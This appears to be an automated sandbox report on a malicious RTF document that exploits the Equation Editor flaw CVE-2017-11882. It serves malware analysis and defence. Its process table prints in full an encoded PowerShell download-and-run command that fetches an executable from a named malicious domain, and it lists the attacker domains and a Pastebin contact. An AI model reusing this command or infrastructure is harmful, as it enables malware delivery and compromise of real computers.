| File name: | SPEC-EBG250.doc |
| Full analysis: | https://app.any.run/tasks/935404f7-a2a0-4879-8694-9375174e23fb |
| Verdict: | Malicious activity |
| Analysis date: | May 24, 2019, 11:05:28 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/rtf |
| File info: | Rich Text Format data, version 1, unknown character set |
| MD5: | 6E88E18466244444E7EBAD4D1F6A73C2 |
| SHA1: | 42476E1CEE0DF92D6EBDA45BCABC50F7AB7AF021 |
| SHA256: | 1402032D473A96282142533BD1DEC00DCDBEA3B03545ED7CFB95DE59ED390510 |
| SSDEEP: | 24:GQhkHbGDX14mTzDXlI5xax9kCIzxVfsdDYTFe+xOX9ya6bUCUTmc0C2N1WBHShyo:BebGDvTzDXi5xokbzjEsTlzen2HwE |
MALICIOUS
Equation Editor starts application (CVE-2017-11882)
- EQNEDT32.EXE (PID: 2888)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 3136)
- EQNEDT32.EXE (PID: 2888)
Reads internet explorer settings
- EQNEDT32.EXE (PID: 2888)
Executes PowerShell scripts
- EQNEDT32.EXE (PID: 2888)
Executed via WMI
- cmd.exe (PID: 1236)
Executed via COM
- EQNEDT32.EXE (PID: 2888)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2792)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2792)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rtf | | | Rich Text Format (100) |
|---|
Total processes
39
Monitored processes
4
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1236 | cmd /c %temp%\nvbackend.exe | C:\Windows\system32\cmd.exe | — | wmiprvse.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2792 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\SPEC-EBG250.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2888 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | ||||||||||||
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 Modules
| |||||||||||||||
| 3136 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w 1 -e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABlACgAIgBoAHQAdABwAHMAOgAvAC8AaQAtAHYAbgBzAHcAZQB5AHUALgBwAGwALwBiAC8AZABvAHAAZQAuAGUAeABlACIALAAiACQAZQBuAHYAOgB0AGUAbQBwAFwAbgB2AGIAYQBjAGsAZQBuAGQALgBlAHgAZQAiACkAKQA7AA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | EQNEDT32.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
1 410
Read events
987
Write events
418
Delete events
5
Modification events
| (PID) Process: | (2792) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | :o? |
Value: 3A6F3F00E80A0000010000000000000000000000 | |||
| (PID) Process: | (2792) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2792) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2792) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1320681502 | |||
| (PID) Process: | (2792) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1320681624 | |||
| (PID) Process: | (2792) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1320681625 | |||
| (PID) Process: | (2792) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: E80A0000E0E5CAA12012D50100000000 | |||
| (PID) Process: | (2792) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | cp? |
Value: 63703F00E80A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2792) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | cp? |
Value: 63703F00E80A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2792) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
0
Suspicious files
2
Text files
2
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2792 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRE33A.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3136 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NSFX5CSYPSGZ8AH3JC3P.temp | — | |
MD5:— | SHA256:— | |||
| 2792 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$EC-EBG250.doc | pgc | |
MD5:— | SHA256:— | |||
| 3136 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 2792 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 2888 | EQNEDT32.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\8B76wYMT[1].txt | html | |
MD5:— | SHA256:— | |||
| 2888 | EQNEDT32.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@pastebin[1].txt | text | |
MD5:— | SHA256:— | |||
| 3136 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF14edba.TMP | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
2
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2888 | EQNEDT32.EXE | 104.20.208.21:443 | pastebin.com | Cloudflare Inc | US | shared |
DNS requests
Domain | IP | Reputation |
|---|---|---|
pastebin.com |
| malicious |
i-vnsweyu.pl |
| malicious |